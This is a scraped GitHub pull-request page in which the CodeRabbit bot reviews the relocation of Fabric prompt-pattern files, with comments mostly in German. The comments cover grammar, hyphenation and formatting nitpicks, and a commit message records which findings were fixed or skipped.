Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/t_check_dunning_kruger/system.md around lines 28 - 30, Specify exact counts for the two sections to ensure deterministic output: update the METACOGNITIVE SKILLS and IMPACT ON DECISION MAKING headings to require a fixed number of bullets (e.g., "10 bullets, each 10 words") rather than only a word-length per bullet; reference the section titles METACOGNITIVE SKILLS and IMPACT ON DECISION MAKING and change their instructions to something like "Output 10 bullets, each exactly 10 words" so the generator always emits a consistent number of items..opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md (1)
392-393: Anweisung und Beispiele zumauthor-Feld sind inkonsistent.Auf Line 392 steht „Set the authorname as pd-bot“, aber mehrere YAML-Beispiele verwenden andere Autoren. Diese Inkonsistenz sollte vereinheitlicht werden, sonst erzeugt der Prompt widersprüchliche Outputs.
🔧 Kompakter Fixvorschlag
-Set the authorname as pd-bot +Set the author field to pd-bot in all generated templates.info: name: Variables Example - author: princechaddha + author: pd-bot severity: infoAlso applies to: 343-344, 865-866, 999-1000, 1121-1122, 1265-1266, 1303-1304, 1537-1538
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md around lines 392 - 393, The instruction text "Set the authorname as pd-bot" and the YAML examples' author values are inconsistent; update the file so the author guidance and every YAML example's author field use the same value "pd-bot". Locate occurrences of the author guidance phrase and the YAML examples that include the author field (the text "Set the authorname as pd-bot" and any examples showing author: ...) and replace non‑pd-bot values with pd-bot (or alternatively change the guidance phrase to match the examples), ensuring uniform use across all mentioned sections (including the repeated occurrences referenced in the review)..opencode/skills/Utilities/Fabric/Workflows/ExecutePattern.md (1)
170-192: Pattern-Kategorien sind wartungsanfällig durch statische Zählungen.Line 172 bis Line 191 enthalten feste Mengenangaben (
30+,20+,35+, …). Bei Upstream-Syncs können diese schnell veralten. Ich würde die Counts entweder entfernen oder als „Beispiele“ kennzeichnen, um Doku-Drift zu vermeiden.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Workflows/ExecutePattern.md around lines 170 - 192, The headings under "## Available Pattern Categories" (e.g., "### Extraction", "### Summarization", "### Analysis", "### Creation", "### Improvement", "### Security", "### Rating/Evaluation") contain hard-coded counts like "(30+)", "(20+)", etc.; remove those static counts or replace them with a non-volatile label such as "Examples:" or "Sample patterns:" so the list no longer requires manual updates during upstream syncs and the pattern names (e.g., `extract_wisdom`, `summarize`, `analyze_claims`, `create_threat_model`, `improve_writing`, `create_sigma_rules`, `rate_ai_response`) remain as illustrative examples..opencode/skills/Utilities/Fabric/Patterns/threshold/system.md (1)
72-72: Optional: Compound-Adjektive mit Bindestrich versehenGemäß englischer Stilkonventionen sollten zusammengesetzte Adjektive vor Substantiven mit Bindestrichen verbunden werden: „low-quality ideas", „one-paragraph summary", „one-sentence recommendation".
✨ Stilverbesserungen
-6. Also provide a score between 1 and 100 for the overall quality ranking, where a 1 has low quality ideas or ideas that don't match the THEMES above, and a 100 has very high quality ideas that very closely match the THEMES above +6. Also provide a score between 1 and 100 for the overall quality ranking, where a 1 has low-quality ideas or ideas that don't match the THEMES above, and a 100 has very high-quality ideas that very closely match the THEMES above-A one paragraph summary of the content in less than 100. +A one-paragraph summary of the content in less than 100 words.-A one sentence recommendation for the content in 15 words. +A one-sentence recommendation for the content in 15 words.Also applies to: 93-93, 105-105
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/threshold/system.md at line 72, Die zusammengesetzten Adjektive in system.md müssen vor Nomen mit Bindestrichen versehen werden; update die phrases "low quality ideas", "one paragraph summary", "one sentence recommendation" (und die weiteren Vorkommen auf den Zeilen referenziert: 72, 93, 105) zu "low-quality ideas", "one-paragraph summary", "one-sentence recommendation" bzw. analog für ähnliche Ausdrücke, überprüfe und korrigiere alle ähnlichen zusammengesetzten Adjektive in der Datei (z. B. replace spaces mit Bindestrich wenn ein Adjektiv direkt ein Substantiv modifiziert).
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In @.opencode/skills/Utilities/Fabric/Patterns/summarize_legislation/system.md:
- Line 23: The SUMMARY instruction is missing the indefinite article before
"single 25-word sentence"; update the string "In a section called SUMMARY,
summarize the input in single 25-word sentence followed by 5 15-word bullet
points." to read "In a section called SUMMARY, summarize the input in a single
25-word sentence followed by 5 15-word bullet points." — locate the exact
sentence in the SUMMARY section and insert the article "a" before "single
25-word sentence."
In @.opencode/skills/Utilities/Fabric/Patterns/threshold/system.md:
- Line 76: Die gezeigte Satzkonstruktion "think about the true underlying
political message is behind the content" ist grammatikalisch falsch; ersetze
diese Phrase in .opencode/skills/Utilities/Fabric/Patterns/threshold/system.md
(die betroffene Textstelle enthält genau diese Phrase) durch eine korrekt
formulierte Variante wie "think about the true underlying political message
behind the content" oder "slowly think about the true underlying political
message behind the content" so dass Subjekt und Prädikat korrekt stehen und das
Wort "is" entfernt wird.
- Line 93: The fragment "A one paragraph summary of the content in less than
100." is missing its unit; update that sentence (the exact string "A one
paragraph summary of the content in less than 100.") to read "A one paragraph
summary of the content in less than 100 words." so the unit is explicit.
---
Duplicate comments:
In @.opencode/skills/Utilities/Fabric/Patterns/summarize_rpg_session/system.md:
- Line 19: Fix the missing hyphen in the compound adjective by changing the
phrase "50 word summary" to "50-word summary" in the document (same style as the
existing "role-playing" usage); search for the exact token "50 word summary" and
replace it with "50-word summary" to maintain consistent compound-adjective
formatting.
In
@.opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md:
- Around line 1-11: This skill file is missing the required "USE WHEN" trigger
block at the top per PAI v3.0; add a "USE WHEN" section to the pattern header in
.opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md
that defines clear agent triggers (e.g., conditions that must be true for the
skill to run), and ensure the file follows SKILL.md PAI v3.0 structure by
including the mandatory "USE WHEN" plus MANDATORY/OPTIONAL fields for inputs and
outputs so agents can discover and invoke the skill.
- Around line 44-46: Die Datei hat inkonsistente Heading-Inkremente und
ungetaggte Codefences; passe die Überschriften so an, dass "Types" (aktueller
Header-Text) die korrekte Hierarchie zum vorherigen Header einhält (verwende die
gleiche Anzahl von # wie die umgebenden Sections) und ergänze jedem Codefence
(z.B. der Fence direkt nach "Types" und die Fences bei den genannten Bereichen)
eine passende Sprachangabe (z. B. ```text, ```yaml oder ```bash) damit
MD001/MD040 verschwinden; wende dieselbe Korrektur auch auf die Abschnitte um
die Zeilenbereiche 214-216 und 726-732 an.
---
Nitpick comments:
In @.opencode/skills/Utilities/Fabric/Patterns/t_check_dunning_kruger/system.md:
- Around line 28-30: Specify exact counts for the two sections to ensure
deterministic output: update the METACOGNITIVE SKILLS and IMPACT ON DECISION
MAKING headings to require a fixed number of bullets (e.g., "10 bullets, each 10
words") rather than only a word-length per bullet; reference the section titles
METACOGNITIVE SKILLS and IMPACT ON DECISION MAKING and change their instructions
to something like "Output 10 bullets, each exactly 10 words" so the generator
always emits a consistent number of items.
In @.opencode/skills/Utilities/Fabric/Patterns/threshold/system.md:
- Line 72: Die zusammengesetzten Adjektive in system.md müssen vor Nomen mit
Bindestrichen versehen werden; update die phrases "low quality ideas", "one
paragraph summary", "one sentence recommendation" (und die weiteren Vorkommen
auf den Zeilen referenziert: 72, 93, 105) zu "low-quality ideas", "one-paragraph
summary", "one-sentence recommendation" bzw. analog für ähnliche Ausdrücke,
überprüfe und korrigiere alle ähnlichen zusammengesetzten Adjektive in der Datei
(z. B. replace spaces mit Bindestrich wenn ein Adjektiv direkt ein Substantiv
modifiziert).
In
@.opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md:
- Around line 392-393: The instruction text "Set the authorname as pd-bot" and
the YAML examples' author values are inconsistent; update the file so the author
guidance and every YAML example's author field use the same value "pd-bot".
Locate occurrences of the author guidance phrase and the YAML examples that
include the author field (the text "Set the authorname as pd-bot" and any
examples showing author: ...) and replace non‑pd-bot values with pd-bot (or
alternatively change the guidance phrase to match the examples), ensuring
uniform use across all mentioned sections (including the repeated occurrences
referenced in the review).
In @.opencode/skills/Utilities/Fabric/Workflows/ExecutePattern.md:
- Around line 170-192: The headings under "## Available Pattern Categories"
(e.g., "### Extraction", "### Summarization", "### Analysis", "### Creation",
"### Improvement", "### Security", "### Rating/Evaluation") contain hard-coded
counts like "(30+)", "(20+)", etc.; remove those static counts or replace them
with a non-volatile label such as "Examples:" or "Sample patterns:" so the list
no longer requires manual updates during upstream syncs and the pattern names
(e.g., `extract_wisdom`, `summarize`, `analyze_claims`, `create_threat_model`,
`improve_writing`, `create_sigma_rules`, `rate_ai_response`) remain as
illustrative examples.
ℹ️ Review info
⚙️ Run configuration
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
Run ID: 707bd0a6-f52b-4694-9a92-73c09fb3bfb3
📒 Files selected for processing (7)
.opencode/skills/Utilities/Fabric/Patterns/summarize_legislation/system.md.opencode/skills/Utilities/Fabric/Patterns/summarize_rpg_session/system.md.opencode/skills/Utilities/Fabric/Patterns/t_analyze_challenge_handling/system.md.opencode/skills/Utilities/Fabric/Patterns/t_check_dunning_kruger/system.md.opencode/skills/Utilities/Fabric/Patterns/threshold/system.md.opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md.opencode/skills/Utilities/Fabric/Workflows/ExecutePattern.md
Inline (all 3 confirmed and fixed): - summarize_legislation: insert missing article 'a' before 'single 25-word sentence' - threshold: remove spurious 'is' from 'political message is behind' → 'message behind' - threshold: add missing unit 'words' to 'less than 100' → 'less than 100 words' Duplicate (1 of 4 fixed, 1 partial, 2 skipped): - summarize_rpg_session: hyphenate '50 word summary' → '50-word summary' (confirmed missing hyphen) - write_nuclei_template_rule: add 'text' language tag to untagged code fences at Matchers/Types (L46) and Extractors/Types (L216); skip heading hierarchy changes (structural upstream content, not a clear bug) Skipped (scope creep / unverifiable / nitpick): - write_nuclei_template_rule: USE WHEN block (established scope policy) - write_nuclei_template_rule: author pd-bot vs princechaddha (upstream content, unverifiable) - t_check_dunning_kruger: fixed bullet counts (nitpick, changes upstream semantics) - threshold: compound adjective hyphenation (nitpick on upstream style) - ExecutePattern.md: static counts in category headings (nitpick, low impact)
Contributor
There was a problem hiding this comment.
Actionable comments posted: 1
🧹 Nitpick comments (1)
.opencode/skills/Utilities/Fabric/Patterns/summarize_rpg_session/system.md (1)
94-94: Formulierung bei Quote-Regel präzisieren.„all quotes created for each section“ ist leicht mehrdeutig. Präziser wäre „any quoted text must be verbatim from input“, damit klar ist, dass keine neuen Zitate erzeugt werden dürfen.
✏️ Vorschlag
-- Ensure all quotes created for each section come word-for-word from the input, with no changes. +- Ensure any quoted text in any section is copied word-for-word from the input, with no changes.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/summarize_rpg_session/system.md at line 94, Replace the ambiguous rule text "Ensure all quotes created for each section come word-for-word from the input" with the clearer wording "Any quoted text must be verbatim from the input" in the system prompt (the line containing that rule in summarize_rpg_session/system.md) so it unambiguously forbids generating new or altered quotes and enforces exact, unchanged source quoting.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In @.opencode/skills/Utilities/Fabric/Patterns/threshold/system.md:
- Line 48: Die Bewertungsformulierung in der Zeile mit "Rate the content based
on the number of ideas..." enthält Lücken (z. B. 10 und 21–25) — ersetze sie
durch lückenlose, exklusive Bereiche, z. B. "0–10: schlecht (bad), 11–25: gut
(good), 26+: ausgezeichnet (excellent)", und aktualisiere den Satz entsprechend,
damit jede mögliche Eingabe eindeutig in genau eine Kategorie fällt.
---
Nitpick comments:
In @.opencode/skills/Utilities/Fabric/Patterns/summarize_rpg_session/system.md:
- Line 94: Replace the ambiguous rule text "Ensure all quotes created for each
section come word-for-word from the input" with the clearer wording "Any quoted
text must be verbatim from the input" in the system prompt (the line containing
that rule in summarize_rpg_session/system.md) so it unambiguously forbids
generating new or altered quotes and enforces exact, unchanged source quoting.
ℹ️ Review info
⚙️ Run configuration
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
Run ID: 04698662-85e1-4fed-9f68-3de35069a271
📒 Files selected for processing (4)
.opencode/skills/Utilities/Fabric/Patterns/summarize_legislation/system.md.opencode/skills/Utilities/Fabric/Patterns/summarize_rpg_session/system.md.opencode/skills/Utilities/Fabric/Patterns/threshold/system.md.opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md
|
|
||
| - Of all the ideas, consider which are most novel and surprising, and note those on the virtual whiteboard in your mind. | ||
|
|
||
| - Rate the content based on the number of ideas in the input (below ten is bad, between 11 and 20 is good, and above 25 is excellent) combined with how well it directly and specifically matches the following THEMES. |
Contributor
There was a problem hiding this comment.
Mehrdeutige Bewertungsbereiche in der Ideenanzahl beheben
Line 48 definiert Lücken (10 und 21–25), wodurch dieselbe Eingabe je nach Interpretation unterschiedlich bewertet werden kann. Bitte die Bereiche lückenlos und exklusiv formulieren.
🔧 Vorschlag
-- Rate the content based on the number of ideas in the input (below ten is bad, between 11 and 20 is good, and above 25 is excellent) combined with how well it directly and specifically matches the following THEMES.
+- Rate the content based on the number of ideas in the input (0-10 is bad, 11-20 is good, 21-25 is very good, and 26+ is excellent), combined with how well it directly and specifically matches the following THEMES.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.opencode/skills/Utilities/Fabric/Patterns/threshold/system.md at line 48,
Die Bewertungsformulierung in der Zeile mit "Rate the content based on the
number of ideas..." enthält Lücken (z. B. 10 und 21–25) — ersetze sie durch
lückenlose, exklusive Bereiche, z. B. "0–10: schlecht (bad), 11–25: gut (good),
26+: ausgezeichnet (excellent)", und aktualisiere den Satz entsprechend, damit
jede mögliche Eingabe eindeutig in genau eine Kategorie fällt.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to subscribe to this conversation on GitHub.
Already have an account?
Sign in.
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
PR-06: Fabric Patterns Ps–Z + Workflows + SKILL.md → Utilities/Fabric/
Part 6 of 12 in the PAI-OpenCode v3.0 migration from
devtomain.What
Relocates 58 files completing the Fabric pattern migration:
.opencode/skills/Utilities/Fabric/Patterns/.opencode/skills/Utilities/Fabric/Workflows/.opencode/skills/Utilities/Fabric/SKILL.mdPatterns included (selection)
summarize_*family (meeting, debate, lecture, legislation, paper, git changes/diff, pull-requests, rpg_session, micro, prompt, board_meeting)write_*family (essay, essay_pg, hackerone_report, latex, micro_essay, nuclei_template_rule, pull-request, semgrep_rule)t_*family (analyze_challenge_handling, check_dunning_kruger, check_metrics, create_h3_career, find_blindspots, red_team_thinking, etc.)threshold,to_flashcards,transcribe_minutes,translate,tweet,youtube_summaryContext
Completes the 3-part Fabric pattern reorganization:
All content is upstream Fabric — no PAI-specific code changes.
Jira
WARNEX-80
@coderabbitai Review für Korrektheit, OpenCode-Konformität, und verbleibende Claude→OpenCode Probleme
Summary by CodeRabbit